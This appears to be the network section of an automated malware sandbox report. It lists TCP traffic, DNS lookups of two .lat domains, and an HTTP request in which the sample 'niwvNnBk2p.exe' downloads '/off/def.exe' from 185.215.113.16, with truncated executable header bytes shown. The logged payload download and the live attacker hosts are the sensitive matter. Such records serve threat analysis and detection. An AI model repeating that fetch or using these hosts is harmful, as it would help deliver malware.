Dec 19, 2024 08:35:42.456813097 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.457345963 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.457364082 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.457406998 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.458319902 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.459289074 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.459342003 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.459608078 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.460104942 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.460123062 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.460148096 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.461086988 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.461154938 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.461474895 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.462030888 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.462045908 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.462088108 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.463129044 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.463185072 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.549206018 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.549354076 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.549451113 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.549496889 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.549875975 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.549932003 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.550355911 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.550854921 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.550895929 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.551266909 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.551750898 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.551791906 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.552206039 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.552704096 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.552746058 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.553142071 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.553611040 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.553663969 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.554075956 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.554555893 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.554634094 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.555037975 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.555515051 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.555556059 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.555957079 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.556436062 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.556484938 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.556895971 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.557382107 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.557426929 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.557863951 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.558324099 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.558376074 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.558753014 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.559290886 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.559328079 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.560137987 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.560611963 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.560659885 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.561101913 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.561120033 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.561160088 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.562016010 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.562486887 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.562550068 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.562966108 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.562982082 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.563026905 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.563889980 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.564353943 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.564399958 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.564901114 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.564917088 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.564968109 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.566230059 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.566694021 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.566834927 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.567168951 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.567184925 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.567225933 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.568074942 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.568386078 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.568422079 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.568871021 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.569402933 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.569418907 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.569451094 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.570296049 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.570312023 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.570368052 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.571182013 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.571225882 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.571691990 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.572206020 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.572221994 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.572246075 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.573086023 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.573133945 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.573520899 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.574021101 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.574037075 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.574074030 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.574934006 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.575012922 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.575392008 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.575892925 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.575908899 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.575932980 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.576800108 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.576843977 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.577274084 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.618514061 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.633270025 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.633397102 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.633543968 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.633722067 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.633747101 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.633790016 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.634542942 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.634869099 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.634918928 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.635323048 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.635667086 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.635711908 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.636159897 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.636617899 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.636661053 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.637130022 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.637554884 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.637608051 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.638008118 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.638489008 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.638525963 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.638972044 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.639452934 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.639493942 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.639892101 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.640408993 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.640450001 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.640953064 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.641305923 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.641362906 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.641906023 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.642463923 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.642513037 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.643039942 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.643418074 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.643459082 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.643853903 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.644176006 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.644220114 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.644582987 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.645023108 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.645060062 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.645504951 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.645997047 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.646040916 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.646450043 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.646960020 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.647001982 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.647396088 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.647902966 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.647943020 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.648334980 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.648839951 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.648884058 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.649265051 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.649729013 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.649811029 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.650218010 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.650659084 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.650702953 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.651149035 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.651591063 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.651634932 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.652096987 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.652594090 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.652630091 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.653026104 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.653511047 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.653553009 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.654026985 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.665882111 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.741321087 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.741507053 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.741563082 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.741637945 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.742093086 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.742136955 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.742558956 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.743027925 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.743069887 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.743484020 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.743963003 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.744005919 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.744415045 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.744894028 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.744940996 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.745445013 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.745907068 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.745955944 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.746377945 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.746841908 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.746887922 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.747309923 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.747766018 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.747812986 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.748243093 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.748754978 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.748799086 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.749171019 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.749675989 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.749865055 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.750106096 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.750590086 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.750629902 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.751046896 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.751528978 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.751580000 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.751981974 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.752432108 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.752481937 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.752918959 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.753400087 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.753443003 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.753868103 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.754321098 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.754364014 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.754795074 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.755296946 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.755341053 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.755743027 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.756202936 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.756242037 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.756716967 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.757158041 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.757215023 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.757615089 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.758078098 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.758121967 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.758732080 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.759147882 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.759193897 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.759601116 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.759893894 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.759941101 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.760381937 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.760890007 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.760938883 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.761323929 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.761779070 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.761841059 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.762233973 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.762711048 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.762763023 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.763191938 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.763645887 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.763698101 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.764096975 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.764604092 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.764655113 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.765120029 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.765515089 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.765567064 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.765975952 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.766462088 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.766500950 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.766954899 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.767416000 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.767461061 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.767847061 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.768338919 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.768379927 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.768821001 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.821636915 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.824681044 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.824901104 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:42.824949026 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:42.992547989 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:46.848088980 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:35:46.967612028 CET	80	49778	185.215.113.206	192.168.2.7
Dec 19, 2024 08:35:46.971020937 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:35:46.971822977 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:35:47.091430902 CET	80	49778	185.215.113.206	192.168.2.7
Dec 19, 2024 08:35:48.318706036 CET	80	49778	185.215.113.206	192.168.2.7
Dec 19, 2024 08:35:48.318794966 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:35:48.321504116 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:35:48.441039085 CET	80	49778	185.215.113.206	192.168.2.7
Dec 19, 2024 08:35:48.770889997 CET	80	49778	185.215.113.206	192.168.2.7
Dec 19, 2024 08:35:48.770956993 CET	49778	80	192.168.2.7	185.215.113.206
Dec 19, 2024 08:35:50.080177069 CET	49778	80	192.168.2.7	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:35:10.754812956 CET	54053	53	192.168.2.7	1.1.1.1
Dec 19, 2024 08:35:10.974513054 CET	53	54053	1.1.1.1	192.168.2.7
Dec 19, 2024 08:35:11.004801035 CET	64077	53	192.168.2.7	1.1.1.1
Dec 19, 2024 08:35:11.235361099 CET	53	64077	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:35:10.754812956 CET	192.168.2.7	1.1.1.1	0xc32f	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:35:11.004801035 CET	192.168.2.7	1.1.1.1	0x7ab	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:35:10.974513054 CET	1.1.1.1	192.168.2.7	0xc32f	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:35:11.235361099 CET	1.1.1.1	192.168.2.7	0x7ab	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:35:11.235361099 CET	1.1.1.1	192.168.2.7	0x7ab	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

grannyejh.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49747	185.215.113.16	80	5412	C:\Users\user\Desktop\niwvNnBk2p.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:35:33.166452885 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:35:34.497874022 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:35:33 GMT Content-Type: application/octet-stream Content-Length: 1719808 Last-Modified: Thu, 19 Dec 2024 07:22:27 GMT Connection: keep-alive ETag: "6763c9b3-1a3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 44 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 44 00 00 04 00 00 39 5c 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`D `@ D9\`Ui`D @ @.rsrcD`2@.idata 6@ )8@aviwlvzz`*:@ondpugpz @D@.taggant@`D"@
